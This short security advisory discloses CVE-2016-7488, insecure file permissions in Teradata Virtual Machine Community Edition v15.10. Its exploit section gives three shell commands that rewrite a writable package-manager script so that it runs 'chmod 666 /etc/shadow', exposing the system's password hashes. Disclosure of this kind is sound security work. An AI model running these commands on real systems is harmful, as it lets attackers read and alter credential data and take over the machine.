Teradata Virtual Machine Community Edition v15.10 has insecure file permission

#920 · 2016-10-01

CVE ID(s): CVE-2016-7488

Notified: 2016-10-01

Description:

A database appliance for virtual machine environments.

Exploit:

$ echo "#/bin/bash" > /etc/luminex/pkgmgr
$ echo "chmod 666 /etc/shadow" >> /etc/luminex/pkgmgr
$ chmod 755 /etc/luminex/pkgmgr

Download: http://downloads.teradata.com/download/database/teradata-virtual-machine-community-edition-for-vmware

URL: http://www.vapidlabs.com/advisory.php?v=172